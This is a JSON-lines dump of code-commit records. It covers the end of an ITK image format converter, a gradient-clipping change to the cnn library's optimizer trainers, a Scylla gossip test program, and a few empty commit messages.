   } \/\/ end scalar support\n      \/**\n       * ****************** Support for multi-component pixel types. **********************************\n       *\/\n      else if ( numberOfComponents > 1 )\n      {\n        const int ret_value = FileConverterMultiComponent(\n          inputPixelComponentType, outputPixelComponentType, numberOfComponents,\n          inputFileName, outputFileName, inputDimension, useCompression );\n        if ( ret_value != 0 )\n        {\n          return ret_value;\n        }\n      } \/\/ end multi-component support\n      else\n      {\n        std::cerr << \"Pixel type is \" << pixelType\n          << \", component type is \" << inputPixelComponentType\n          << \" and number of components equals \" << numberOfComponents << \".\" << std::endl;\n        std::cerr << \"ERROR: This image type is not supported.\" << std::endl;\n        return 1;\n      }\n    } \/\/ end NonDicom image\n    else\n    {\n      \/** In this case input is a DICOM series, from which we only support\n       * SCALAR pixel types, with component type:\n       * DICOMImageIO2: (unsigned) char, (unsigned) short, float\n       * GDCMImageIO: (unsigned) char, (unsigned) short, (unsigned) int, double\n       * It is also assumed that the dicom series consist of multiple\n       * 2D images forming a 3D image.\n       *\/\n\n      if ( strcmp( pixelType.c_str(), \"scalar\" ) == 0 && numberOfComponents == 1 )\n      {\n        const int ret_value = DicomFileConverterScalarA(\n          inputPixelComponentType, outputPixelComponentType,\n          inputDirectoryName, seriesUID, restrictions,\n          outputFileName, inputDimension, useCompression )\n          || DicomFileConverterScalarB(\n          inputPixelComponentType, outputPixelComponentType,\n          inputDirectoryName, seriesUID, restrictions,\n          outputFileName, inputDimension, useCompression );\n        if ( ret_value != 0 )\n        {\n          return ret_value;\n        }\n      }\n      else\n      {\n        std::cerr << \"Pixel type is \" << pixelType\n          << \", component type is \" << inputPixelComponentType\n          << \" and number of components equals \" << numberOfComponents << \".\" << std::endl;\n        std::cerr << \"ERROR: This image type is not supported.\" << std::endl;\n        return 1;\n      }\n\n    } \/\/ end isDICOM\n\n  } \/\/ end try\n  \/** If any errors have occurred, catch and print the exception and return false. *\/\n  catch ( itk::ExceptionObject & err )\n  {\n    std::cerr << \"ExceptionObject caught !\" << std::endl;\n    std::cerr << err << std::endl;\n    return 1;\n  }\n\n  std::cout << \"Successful conversion!\" << std::endl;\n\n  \/** End  program. Return success. *\/\n  return 0;\n\n}  \/\/ end main\n<|endoftext|>"}
{"text":"<commit_before><commit_msg>fdo#40694 - Error in message when truncating col\/row numbers in calc<commit_after><|endoftext|>"}
{"text":"<commit_before>#include \"cnn\/training.h\"\n\n#include \"cnn\/gpu-ops.h\"\n\nnamespace cnn {\n\nusing namespace std;\n\nTrainer::~Trainer() {}\n\n\/** \n@scale : proportional to the number of utterances trained in parallel \n*\/\nfloat Trainer::clip_gradients(float nutt) {\n  float gscale = 1;\n  if (clipping_enabled) {\n    float gg = model->gradient_l2_norm();\n    if (gg > clip_threshold * nutt) {\n      ++clips;\n      gscale = (clip_threshold * nutt) \/ gg;\n    }\n  }\n  return gscale;\n}\n\nvoid SimpleSGDTrainer::update(float nutt, real scale) {\n    update(model->lookup_parameters_list(), model->parameters_list(), nutt, scale);\n}\n\nvoid SimpleSGDTrainer::update(const std::vector<LookupParameters*> &lookup_params, const std::vector<Parameters*> &params, float nutt, real scale) {\n  const float gscale = clip_gradients(nutt);\n  float nutt_scale = 1.0 \/ nutt;\n  for (auto p : params) {\n#if HAVE_CUDA\n    gpu::sgd_update(p->values.d.size(), p->g.v, p->values.v, eta * scale * gscale * nutt_scale, lambda);\n#else\n    auto reg = (*p->values) * lambda;\n    *p->values -= nutt_scale * ((eta * scale * gscale) * *p->g + reg);\n#endif\n    p->clear();\n  }\n  for (auto p : lookup_params) {\n    for (auto i : p->non_zero_grads) {\n#if HAVE_CUDA\n      gpu::sgd_update(p->values[i].d.size(), p->grads[i].v, p->values[i].v, eta * scale * gscale * nutt_scale, lambda);\n#else\n      auto reg = (*p->values[i]) * lambda;\n      *p->values[i] -= (*p->grads[i] * (eta * scale * gscale * nutt_scale) + reg);\n#endif\n    }\n    p->clear();\n  }\n  ++updates;\n}\n\nvoid MomentumSGDTrainer::update(real nutt, real scale) {\n  \/\/ executed on the first iteration to create vectors to\n  \/\/ store the velocity\n  if (!velocity_allocated) {\n    vp = AllocateShadowParameters(*model);\n    vlp = AllocateShadowLookupParameters(*model);\n    velocity_allocated = true;\n  }\n\n  const float gscale = clip_gradients(nutt);\n  float nutt_scale = 1.0 \/ nutt;\n  unsigned pi = 0;\n  for (auto p : model->parameters_list()) {\n    Tensor& v = vp[pi++].h;\n    auto reg = *p->values * lambda;\n    (*v) = momentum * (*v) - (eta * scale * gscale*nutt_scale) * (*p->g);\n    *p->values += *v - reg;\n    p->clear();\n  }\n  pi = 0;\n  for (auto p : model->lookup_parameters_list()) {\n    vector<Tensor>& vx = vlp[pi++].h;\n    for (auto i : p->non_zero_grads) {\n      Tensor& v = vx[i];\n      auto reg = (*p->values[i]) * lambda;\n      (*v) = momentum * (*v) - (eta * scale * gscale*nutt_scale) * (*p->grads[i]);\n      *p->values[i] += *v - reg;\n    }\n    p->clear();\n  }\n  ++updates;\n}\n\nvoid AdagradTrainer::update(real nutt, real scale) {\n  unsigned pi;\n  if (!shadow_params_allocated) {\n    vp = AllocateShadowParameters(*model);\n    vlp = AllocateShadowLookupParameters(*model);\n    shadow_params_allocated = true;\n  }\n\n  pi = 0;\n  const float gscale = clip_gradients(nutt);\n  float nutt_scale = 1.0 \/ nutt;\n  for (auto p : model->parameters_list()) {\n    Tensor& v = vp[pi++].h;\n    auto reg = (*p->values) * lambda;\n    auto g2 = (*p->g).cwiseProduct(*p->g);\n    (*v) += g2;\n    auto delta = -(eta * scale * gscale * nutt_scale) * (*p->g).cwiseQuotient(((*v).array() + epsilon).matrix().cwiseSqrt());\n    *p->values += delta - reg;\n    p->clear();\n  }\n\n  pi = 0;\n  for (auto p : model->lookup_parameters_list()) {\n    vector<Tensor>& vx = vlp[pi++].h;\n    for (auto i : p->non_zero_grads) {\n      Tensor& v = vx[i];\n      auto reg = (*p->values[i]) * lambda;\n      auto g2 = (*p->grads[i]).cwiseProduct(*p->grads[i]);\n      (*v) += g2;\n      auto delta = -(eta * scale * gscale * nutt_scale) * (*p->grads[i]).cwiseQuotient(((*v).array() + epsilon).matrix().cwiseSqrt());\n      *p->values[i] += delta - reg;\n    }\n    p->clear();\n  }\n\n  ++updates;\n}\n\nvoid AdadeltaTrainer::update(real nutt, real scale) {\n  unsigned pi;\n  if (!shadow_params_allocated) {\n    hg = AllocateShadowParameters(*model);\n    hlg = AllocateShadowLookupParameters(*model);\n    hd = AllocateShadowParameters(*model);\n    hld = AllocateShadowLookupParameters(*model);\n\n    \/*pi = 0;\n    for (auto p : model->parameters_list()) {\n      TensorTools::Constant(hg[pi].h, epsilon);\n      TensorTools::Constant(hd[pi].h, epsilon);\n      ++pi;\n    }\n\n    pi = 0;\n    for (auto p : model->lookup_parameters_list()) {\n      vector<Tensor>& hgx = hlg[pi].h;\n      vector<Tensor>& hdx = hld[pi].h;\n      for (unsigned i = 0; i < hgx.size(); ++i) {\n        TensorTools::Constant(hgx[i], epsilon);\n        TensorTools::Constant(hdx[i], epsilon);\n      }\n      ++pi;\n    }*\/\n\n    shadow_params_allocated = true;\n  }\n\n  const float gscale = clip_gradients(nutt);\n  float nutt_scale = 1.0 \/ nutt;\n  pi = 0;\n  for (auto p : model->parameters_list()) {\n    auto& g = (scale * gscale * nutt_scale) * *p->g;\n    Tensor& hgv = hg[pi].h;\n    Tensor& hdv = hd[pi].h;\n    auto reg = (*p->values) * lambda;\n    auto g2 = g.cwiseProduct(g);\n    *hgv = rho * *hgv + (1.0 - rho) * g2;\n    auto num = -g.cwiseProduct(((*hdv).array() + epsilon).matrix().cwiseSqrt());\n    auto den = ((*hgv).array() + epsilon).matrix().cwiseSqrt();\n    auto delta = num.cwiseQuotient(den);\n    auto d2 = delta.cwiseProduct(delta);\n    *hdv = rho * *hdv + (1.0 - rho) * d2;\n    *p->values += delta - reg;\n    p->clear();\n    pi++;\n  }\n\n  pi = 0;\n  for (auto p : model->lookup_parameters_list()) {\n    vector<Tensor>& hgvx = hlg[pi].h;\n    vector<Tensor>& hdvx = hld[pi].h;\n    for (auto i : p->non_zero_grads) {\n      Tensor& hgv = hgvx[i];\n      Tensor& hdv = hdvx[i];\n      auto& g = scale * gscale * nutt_scale * *p->grads[i];\n      auto reg = (*p->values[i]) * lambda;\n      auto g2 = g.cwiseProduct(g);\n      *hgv = rho * *hgv + (1.0 - rho) * g2;\n      auto num = -g.cwiseProduct(((*hdv).array() + epsilon).matrix().cwiseSqrt());\n      auto den = ((*hgv).array() + epsilon).matrix().cwiseSqrt();\n      auto delta = num.cwiseQuotient(den);\n      auto d2 = delta.cwiseProduct(delta);\n      *hdv = rho * *hdv + (1.0 - rho) * d2;\n      *p->values[i] += delta - reg;\n    }\n    p->clear();\n    pi++;\n  }\n  ++updates;\n}\n\nvoid RmsPropTrainer::update(real nutt, real scale) {\n  unsigned pi = 0;\n  if (!shadow_params_allocated) {\n    hg.resize(model->parameters_list().size());\n\n    pi = 0;\n    hlg.resize(model->lookup_parameters_list().size());\n    for (auto p : model->lookup_parameters_list()) {\n      hlg[pi++].resize(p->size());\n    }\n\n    shadow_params_allocated = true;\n  }\n\n  const float gscale = clip_gradients(nutt);\n  float nutt_scale = 1.0 \/ nutt;\n  pi = 0;\n  for (auto p : model->parameters_list()) {\n    real& d2 = hg[pi++];\n    auto reg = (*p->values) * lambda;\n    real g2 = (*p->g).squaredNorm();\n    d2 = rho * d2 + (1.0 - rho) * g2;\n    *p->values -= ((eta * scale * gscale * nutt_scale \/ sqrt(d2 + epsilon)) * *p->g + reg);\n    p->clear();\n  }\n\n  pi = 0;\n  for (auto p : model->lookup_parameters_list()) {\n    vector<real>& hlgx = hlg[pi++];\n    for (auto i : p->non_zero_grads) {\n      real& d2 = hlgx[i];\n      auto reg = (*p->values[i]) * lambda;\n      real g2 = (*p->grads[i]).squaredNorm();\n      d2 = rho * d2 + (1.0 - rho) * g2;\n      *p->values[i] -= ((eta * scale * gscale * nutt_scale \/ sqrt(d2 + epsilon)) * *p->grads[i] + reg);\n    }\n    p->clear();\n  }\n  ++updates;\n}\n\nvoid AdamTrainer::update(real nutt, real scale) {\n  unsigned pi;\n  if (!shadow_params_allocated) {\n    m = AllocateShadowParameters(*model);\n    lm = AllocateShadowLookupParameters(*model);\n    v = AllocateShadowParameters(*model);\n    lv = AllocateShadowLookupParameters(*model);\n    shadow_params_allocated = true;\n  }\n\n  const float gscale = clip_gradients();\n  float nutt_scale = 1.0 \/ nutt;\n  pi = 0;\n  static unsigned t = 0;\n  for (auto p : model->parameters_list()) {\n    ++t;\n    auto g_t = (scale * gscale * nutt_scale) * *p->g;\n    auto m_t = *m[pi].h;\n    auto v_t = *v[pi].h;\n    auto reg = (*p->values) * lambda;\n    m_t = beta_1 * m_t + (1 - beta_1) * g_t;\n    auto g2 = g_t.cwiseProduct(g_t);\n    v_t = beta_2 * v_t + (1 - beta_2) * g2;\n    float s1 = 1 - pow(beta_1, t);\n    float s2 = 1 - pow(beta_2, t);\n    auto mhat = m_t \/ s1;\n    auto vhat = v_t \/ s2;\n    auto delta = (-eta * mhat).cwiseQuotient((vhat.array().sqrt() + eps).matrix());\n    *p->values += delta - reg;\n    p->clear();\n    pi++;\n  }\n\n  pi = 0;\n  for (auto p : model->lookup_parameters_list()) {\n    vector<Tensor>& vm = lm[pi].h;\n    vector<Tensor>& vv = lv[pi].h;\n    for (auto i : p->non_zero_grads) {\n      auto m_t = *vm[i];\n      auto v_t = *vv[i];\n      auto g_t = scale * gscale * nutt_scale * *p->grads[i];\n      auto g2 = g_t.cwiseProduct(g_t);\n      auto reg = (*p->values[i]) * lambda;\n      m_t = beta_1 * m_t + (1 - beta_1) * g_t;\n      v_t = beta_2 * v_t + (1 - beta_2) * g2;\n      float s1 = 1 - pow(beta_1, t);\n      float s2 = 1 - pow(beta_2, t);\n      auto mhat = m_t \/ s1;\n      auto vhat = v_t \/ s2;\n      auto delta = (-eta * mhat).cwiseQuotient((vhat.array().sqrt() + eps).matrix());\n      *p->values[i] += delta - reg;\n    }\n    p->clear();\n    pi++;\n  }\n  ++updates;\n}\n\n} \/\/ namespace cnn\n<commit_msg>updated code for cliping to consider the size of data, essentially making gradient clipping independent of number of observations<commit_after>#include \"cnn\/training.h\"\n\n#include \"cnn\/gpu-ops.h\"\n\nnamespace cnn {\n\nusing namespace std;\n\nTrainer::~Trainer() {}\n\n\/** \n@scale : proportional to the number of samples trained in parallel \n*\/\nfloat Trainer::clip_gradients(float samples) {\n  float gscale = 1;\n  if (clipping_enabled) {\n    float gg = model->gradient_l2_norm();\n    if (gg > clip_threshold * samples) {\n      ++clips;\n      gscale = (clip_threshold * samples) \/ gg;\n    }\n  }\n  return gscale;\n}\n\nvoid SimpleSGDTrainer::update(float nutt, real scale) {\n    update(model->lookup_parameters_list(), model->parameters_list(), nutt, scale);\n}\n\nvoid SimpleSGDTrainer::update(const std::vector<LookupParameters*> &lookup_params, const std::vector<Parameters*> &params, float samples, real scale) {\n  const float gscale = clip_gradients(samples);\n  float nutt_scale = 1.0 \/ samples;\n  for (auto p : params) {\n#if HAVE_CUDA\n    gpu::sgd_update(p->values.d.size(), p->g.v, p->values.v, eta * scale * gscale * nutt_scale, lambda);\n#else\n    auto reg = (*p->values) * lambda;\n    *p->values -= nutt_scale * ((eta * scale * gscale) * *p->g + reg);\n#endif\n    p->clear();\n  }\n  for (auto p : lookup_params) {\n    for (auto i : p->non_zero_grads) {\n#if HAVE_CUDA\n      gpu::sgd_update(p->values[i].d.size(), p->grads[i].v, p->values[i].v, eta * scale * gscale * nutt_scale, lambda);\n#else\n      auto reg = (*p->values[i]) * lambda;\n      *p->values[i] -= (*p->grads[i] * (eta * scale * gscale * nutt_scale) + reg);\n#endif\n    }\n    p->clear();\n  }\n  ++updates;\n}\n\nvoid MomentumSGDTrainer::update(real nutt, real scale) {\n  \/\/ executed on the first iteration to create vectors to\n  \/\/ store the velocity\n  if (!velocity_allocated) {\n    vp = AllocateShadowParameters(*model);\n    vlp = AllocateShadowLookupParameters(*model);\n    velocity_allocated = true;\n  }\n\n  const float gscale = clip_gradients(nutt);\n  float nutt_scale = 1.0 \/ nutt;\n  unsigned pi = 0;\n  for (auto p : model->parameters_list()) {\n    Tensor& v = vp[pi++].h;\n    auto reg = *p->values * lambda;\n    (*v) = momentum * (*v) - (eta * scale * gscale*nutt_scale) * (*p->g);\n    *p->values += *v - reg;\n    p->clear();\n  }\n  pi = 0;\n  for (auto p : model->lookup_parameters_list()) {\n    vector<Tensor>& vx = vlp[pi++].h;\n    for (auto i : p->non_zero_grads) {\n      Tensor& v = vx[i];\n      auto reg = (*p->values[i]) * lambda;\n      (*v) = momentum * (*v) - (eta * scale * gscale*nutt_scale) * (*p->grads[i]);\n      *p->values[i] += *v - reg;\n    }\n    p->clear();\n  }\n  ++updates;\n}\n\nvoid AdagradTrainer::update(real nsamples, real scale) {\n  unsigned pi;\n  if (!shadow_params_allocated) {\n    vp = AllocateShadowParameters(*model);\n    vlp = AllocateShadowLookupParameters(*model);\n    shadow_params_allocated = true;\n  }\n\n  pi = 0;\n  const float gscale = clip_gradients(nsamples);\n  float nutt_scale = 1.0 \/ nsamples;\n  for (auto p : model->parameters_list()) {\n    Tensor& v = vp[pi++].h;\n    auto reg = (*p->values) * lambda;\n    auto g2 = (*p->g).cwiseProduct(*p->g);\n    (*v) += g2;\n    auto delta = -(eta * scale * gscale * nutt_scale) * (*p->g).cwiseQuotient(((*v).array() + epsilon).matrix().cwiseSqrt());\n    *p->values += delta - reg;\n    p->clear();\n  }\n\n  pi = 0;\n  for (auto p : model->lookup_parameters_list()) {\n    vector<Tensor>& vx = vlp[pi++].h;\n    for (auto i : p->non_zero_grads) {\n      Tensor& v = vx[i];\n      auto reg = (*p->values[i]) * lambda;\n      auto g2 = (*p->grads[i]).cwiseProduct(*p->grads[i]);\n      (*v) += g2;\n      auto delta = -(eta * scale * gscale * nutt_scale) * (*p->grads[i]).cwiseQuotient(((*v).array() + epsilon).matrix().cwiseSqrt());\n      *p->values[i] += delta - reg;\n    }\n    p->clear();\n  }\n\n  ++updates;\n}\n\nvoid AdadeltaTrainer::update(real nutt, real scale) {\n  unsigned pi;\n  if (!shadow_params_allocated) {\n    hg = AllocateShadowParameters(*model);\n    hlg = AllocateShadowLookupParameters(*model);\n    hd = AllocateShadowParameters(*model);\n    hld = AllocateShadowLookupParameters(*model);\n\n    \/*pi = 0;\n    for (auto p : model->parameters_list()) {\n      TensorTools::Constant(hg[pi].h, epsilon);\n      TensorTools::Constant(hd[pi].h, epsilon);\n      ++pi;\n    }\n\n    pi = 0;\n    for (auto p : model->lookup_parameters_list()) {\n      vector<Tensor>& hgx = hlg[pi].h;\n      vector<Tensor>& hdx = hld[pi].h;\n      for (unsigned i = 0; i < hgx.size(); ++i) {\n        TensorTools::Constant(hgx[i], epsilon);\n        TensorTools::Constant(hdx[i], epsilon);\n      }\n      ++pi;\n    }*\/\n\n    shadow_params_allocated = true;\n  }\n\n  const float gscale = clip_gradients(nutt);\n  float nutt_scale = 1.0 \/ nutt;\n  pi = 0;\n  for (auto p : model->parameters_list()) {\n    auto& g = (scale * gscale * nutt_scale) * *p->g;\n    Tensor& hgv = hg[pi].h;\n    Tensor& hdv = hd[pi].h;\n    auto reg = (*p->values) * lambda;\n    auto g2 = g.cwiseProduct(g);\n    *hgv = rho * *hgv + (1.0 - rho) * g2;\n    auto num = -g.cwiseProduct(((*hdv).array() + epsilon).matrix().cwiseSqrt());\n    auto den = ((*hgv).array() + epsilon).matrix().cwiseSqrt();\n    auto delta = num.cwiseQuotient(den);\n    auto d2 = delta.cwiseProduct(delta);\n    *hdv = rho * *hdv + (1.0 - rho) * d2;\n    *p->values += delta - reg;\n    p->clear();\n    pi++;\n  }\n\n  pi = 0;\n  for (auto p : model->lookup_parameters_list()) {\n    vector<Tensor>& hgvx = hlg[pi].h;\n    vector<Tensor>& hdvx = hld[pi].h;\n    for (auto i : p->non_zero_grads) {\n      Tensor& hgv = hgvx[i];\n      Tensor& hdv = hdvx[i];\n      auto& g = scale * gscale * nutt_scale * *p->grads[i];\n      auto reg = (*p->values[i]) * lambda;\n      auto g2 = g.cwiseProduct(g);\n      *hgv = rho * *hgv + (1.0 - rho) * g2;\n      auto num = -g.cwiseProduct(((*hdv).array() + epsilon).matrix().cwiseSqrt());\n      auto den = ((*hgv).array() + epsilon).matrix().cwiseSqrt();\n      auto delta = num.cwiseQuotient(den);\n      auto d2 = delta.cwiseProduct(delta);\n      *hdv = rho * *hdv + (1.0 - rho) * d2;\n      *p->values[i] += delta - reg;\n    }\n    p->clear();\n    pi++;\n  }\n  ++updates;\n}\n\nvoid RmsPropTrainer::update(real nutt, real scale) {\n  unsigned pi = 0;\n  if (!shadow_params_allocated) {\n    hg.resize(model->parameters_list().size());\n\n    pi = 0;\n    hlg.resize(model->lookup_parameters_list().size());\n    for (auto p : model->lookup_parameters_list()) {\n      hlg[pi++].resize(p->size());\n    }\n\n    shadow_params_allocated = true;\n  }\n\n  const float gscale = clip_gradients(nutt);\n  float nutt_scale = 1.0 \/ nutt;\n  pi = 0;\n  for (auto p : model->parameters_list()) {\n    real& d2 = hg[pi++];\n    auto reg = (*p->values) * lambda;\n    real g2 = (*p->g).squaredNorm();\n    d2 = rho * d2 + (1.0 - rho) * g2;\n    *p->values -= ((eta * scale * gscale * nutt_scale \/ sqrt(d2 + epsilon)) * *p->g + reg);\n    p->clear();\n  }\n\n  pi = 0;\n  for (auto p : model->lookup_parameters_list()) {\n    vector<real>& hlgx = hlg[pi++];\n    for (auto i : p->non_zero_grads) {\n      real& d2 = hlgx[i];\n      auto reg = (*p->values[i]) * lambda;\n      real g2 = (*p->grads[i]).squaredNorm();\n      d2 = rho * d2 + (1.0 - rho) * g2;\n      *p->values[i] -= ((eta * scale * gscale * nutt_scale \/ sqrt(d2 + epsilon)) * *p->grads[i] + reg);\n    }\n    p->clear();\n  }\n  ++updates;\n}\n\nvoid AdamTrainer::update(real nutt, real scale) {\n  unsigned pi;\n  if (!shadow_params_allocated) {\n    m = AllocateShadowParameters(*model);\n    lm = AllocateShadowLookupParameters(*model);\n    v = AllocateShadowParameters(*model);\n    lv = AllocateShadowLookupParameters(*model);\n    shadow_params_allocated = true;\n  }\n\n  const float gscale = clip_gradients();\n  float nutt_scale = 1.0 \/ nutt;\n  pi = 0;\n  static unsigned t = 0;\n  for (auto p : model->parameters_list()) {\n    ++t;\n    auto g_t = (scale * gscale * nutt_scale) * *p->g;\n    auto m_t = *m[pi].h;\n    auto v_t = *v[pi].h;\n    auto reg = (*p->values) * lambda;\n    m_t = beta_1 * m_t + (1 - beta_1) * g_t;\n    auto g2 = g_t.cwiseProduct(g_t);\n    v_t = beta_2 * v_t + (1 - beta_2) * g2;\n    float s1 = 1 - pow(beta_1, t);\n    float s2 = 1 - pow(beta_2, t);\n    auto mhat = m_t \/ s1;\n    auto vhat = v_t \/ s2;\n    auto delta = (-eta * mhat).cwiseQuotient((vhat.array().sqrt() + eps).matrix());\n    *p->values += delta - reg;\n    p->clear();\n    pi++;\n  }\n\n  pi = 0;\n  for (auto p : model->lookup_parameters_list()) {\n    vector<Tensor>& vm = lm[pi].h;\n    vector<Tensor>& vv = lv[pi].h;\n    for (auto i : p->non_zero_grads) {\n      auto m_t = *vm[i];\n      auto v_t = *vv[i];\n      auto g_t = scale * gscale * nutt_scale * *p->grads[i];\n      auto g2 = g_t.cwiseProduct(g_t);\n      auto reg = (*p->values[i]) * lambda;\n      m_t = beta_1 * m_t + (1 - beta_1) * g_t;\n      v_t = beta_2 * v_t + (1 - beta_2) * g2;\n      float s1 = 1 - pow(beta_1, t);\n      float s2 = 1 - pow(beta_2, t);\n      auto mhat = m_t \/ s1;\n      auto vhat = v_t \/ s2;\n      auto delta = (-eta * mhat).cwiseQuotient((vhat.array().sqrt() + eps).matrix());\n      *p->values[i] += delta - reg;\n    }\n    p->clear();\n    pi++;\n  }\n  ++updates;\n}\n\n} \/\/ namespace cnn\n<|endoftext|>"}
{"text":"<commit_before><commit_msg>[ELF] - Remove unnecessary template #6. NFC.<commit_after><|endoftext|>"}
{"text":"<commit_before><commit_msg>Formatting fix no functionality change.<commit_after><|endoftext|>"}
{"text":"<commit_before>\n\/*\n * Copyright 2015 Cloudius Systems\n *\/\n\n\/*\n * This file is part of Scylla.\n *\n * Scylla is free software: you can redistribute it and\/or modify\n * it under the terms of the GNU Affero General Public License as published by\n * the Free Software Foundation, either version 3 of the License, or\n * (at your option) any later version.\n *\n * Scylla is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n * GNU General Public License for more details.\n *\n * You should have received a copy of the GNU General Public License\n * along with Scylla.  If not, see <http:\/\/www.gnu.org\/licenses\/>.\n *\/\n\n#include \"core\/reactor.hh\"\n#include \"core\/app-template.hh\"\n#include \"message\/messaging_service.hh\"\n#include \"gms\/failure_detector.hh\"\n#include \"gms\/gossiper.hh\"\n#include \"gms\/application_state.hh\"\n#include \"service\/storage_service.hh\"\n#include \"log.hh\"\n#include <chrono>\n\nnamespace bpo = boost::program_options;\n\nint main(int ac, char ** av) {\n    distributed<database> db;\n    app_template app;\n    app.add_options()\n        (\"seed\", bpo::value<std::vector<std::string>>(), \"IP address of seed node\")\n        (\"listen-address\", bpo::value<std::string>()->default_value(\"0.0.0.0\"), \"IP address to listen\");\n    return app.run_deprecated(ac, av, [&db, &app] {\n        auto config = app.configuration();\n        logging::logger_registry().set_logger_level(\"gossip\", logging::log_level::trace);\n        const gms::inet_address listen = gms::inet_address(config[\"listen-address\"].as<std::string>());\n        auto vv = std::make_shared<gms::versioned_value::factory>();\n        service::init_storage_service(db).then([vv, listen, config] {\n            return net::get_messaging_service().start(listen);\n        }).then([config] {\n            auto& server = net::get_local_messaging_service();\n            auto port = server.port();\n            auto listen = server.listen_address();\n            print(\"Messaging server listening on ip %s port %d ...\\n\", listen, port);\n            return gms::get_failure_detector().start();\n        }).then([vv, config] {\n            return gms::get_gossiper().start();\n        }).then([vv, config] {\n            std::set<gms::inet_address> seeds;\n            for (auto s : config[\"seed\"].as<std::vector<std::string>>()) {\n                seeds.emplace(std::move(s));\n            }\n\n            std::cout << \"Start gossiper service ...\\n\";\n            auto& gossiper = gms::get_local_gossiper();\n            gossiper.set_seeds(std::move(seeds));\n            gossiper.set_cluster_name(\"Test Cluster\");\n\n            std::map<gms::application_state, gms::versioned_value> app_states = {\n                { gms::application_state::LOAD, vv->load(0.5) },\n            };\n\n            using namespace std::chrono;\n            auto now = high_resolution_clock::now().time_since_epoch();\n            int generation_number = duration_cast<seconds>(now).count();\n            return gossiper.start(generation_number, app_states);\n        }).then([vv] {\n            auto reporter = std::make_shared<timer<lowres_clock>>();\n            reporter->set_callback ([reporter] {\n                auto& gossiper = gms::get_local_gossiper();\n                gossiper.dump_endpoint_state_map();\n                auto& fd = gms::get_local_failure_detector();\n                print(\"%s\", fd);\n            });\n            reporter->arm_periodic(std::chrono::milliseconds(1000));\n\n            auto app_state_adder = std::make_shared<timer<lowres_clock>>();\n            app_state_adder->set_callback ([vv, app_state_adder] {\n                static double load = 0.5;\n                auto& gossiper = gms::get_local_gossiper();\n                auto state = gms::application_state::LOAD;\n                auto value = vv->load(load);\n                gossiper.add_local_application_state(state, value);\n                load += 0.0001;\n            });\n            app_state_adder->arm_periodic(std::chrono::seconds(1));\n        });\n    });\n}\n<commit_msg>tests: Fix gossip<commit_after>\n\/*\n * Copyright 2015 Cloudius Systems\n *\/\n\n\/*\n * This file is part of Scylla.\n *\n * Scylla is free software: you can redistribute it and\/or modify\n * it under the terms of the GNU Affero General Public License as published by\n * the Free Software Foundation, either version 3 of the License, or\n * (at your option) any later version.\n *\n * Scylla is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n * GNU General Public License for more details.\n *\n * You should have received a copy of the GNU General Public License\n * along with Scylla.  If not, see <http:\/\/www.gnu.org\/licenses\/>.\n *\/\n\n#include \"core\/reactor.hh\"\n#include \"core\/app-template.hh\"\n#include \"message\/messaging_service.hh\"\n#include \"gms\/failure_detector.hh\"\n#include \"gms\/gossiper.hh\"\n#include \"gms\/application_state.hh\"\n#include \"service\/storage_service.hh\"\n#include \"utils\/fb_utilities.hh\"\n#include \"locator\/snitch_base.hh\"\n#include \"log.hh\"\n#include <chrono>\n\nnamespace bpo = boost::program_options;\n\nint main(int ac, char ** av) {\n    distributed<database> db;\n    app_template app;\n    app.add_options()\n        (\"seed\", bpo::value<std::vector<std::string>>(), \"IP address of seed node\")\n        (\"listen-address\", bpo::value<std::string>()->default_value(\"0.0.0.0\"), \"IP address to listen\");\n    return app.run_deprecated(ac, av, [&db, &app] {\n        auto config = app.configuration();\n        logging::logger_registry().set_logger_level(\"gossip\", logging::log_level::trace);\n        const gms::inet_address listen = gms::inet_address(config[\"listen-address\"].as<std::string>());\n        utils::fb_utilities::set_broadcast_address(listen);\n        auto vv = std::make_shared<gms::versioned_value::factory>();\n        locator::i_endpoint_snitch::create_snitch(\"SimpleSnitch\").then([&db] {\n            return service::init_storage_service(db);\n        }).then([vv, listen, config] {\n            return net::get_messaging_service().start(listen);\n        }).then([config] {\n            auto& server = net::get_local_messaging_service();\n            auto port = server.port();\n            auto listen = server.listen_address();\n            print(\"Messaging server listening on ip %s port %d ...\\n\", listen, port);\n            return gms::get_failure_detector().start();\n        }).then([vv, config] {\n            return gms::get_gossiper().start();\n        }).then([vv, config] {\n            std::set<gms::inet_address> seeds;\n            for (auto s : config[\"seed\"].as<std::vector<std::string>>()) {\n                seeds.emplace(std::move(s));\n            }\n\n            std::cout << \"Start gossiper service ...\\n\";\n            auto& gossiper = gms::get_local_gossiper();\n            gossiper.set_seeds(std::move(seeds));\n            gossiper.set_cluster_name(\"Test Cluster\");\n\n            std::map<gms::application_state, gms::versioned_value> app_states = {\n                { gms::application_state::LOAD, vv->load(0.5) },\n            };\n\n            using namespace std::chrono;\n            auto now = high_resolution_clock::now().time_since_epoch();\n            int generation_number = duration_cast<seconds>(now).count();\n            return gossiper.start(generation_number, app_states);\n        }).then([vv] {\n            auto reporter = std::make_shared<timer<lowres_clock>>();\n            reporter->set_callback ([reporter] {\n                auto& gossiper = gms::get_local_gossiper();\n                gossiper.dump_endpoint_state_map();\n                auto& fd = gms::get_local_failure_detector();\n                print(\"%s\", fd);\n            });\n            reporter->arm_periodic(std::chrono::milliseconds(1000));\n\n            auto app_state_adder = std::make_shared<timer<lowres_clock>>();\n            app_state_adder->set_callback ([vv, app_state_adder] {\n                static double load = 0.5;\n                auto& gossiper = gms::get_local_gossiper();\n                auto state = gms::application_state::LOAD;\n                auto value = vv->load(load);\n                gossiper.add_local_application_state(state, value);\n                load += 0.0001;\n            });\n            app_state_adder->arm_periodic(std::chrono::seconds(1));\n        });\n    });\n}\n<|endoftext|>"}
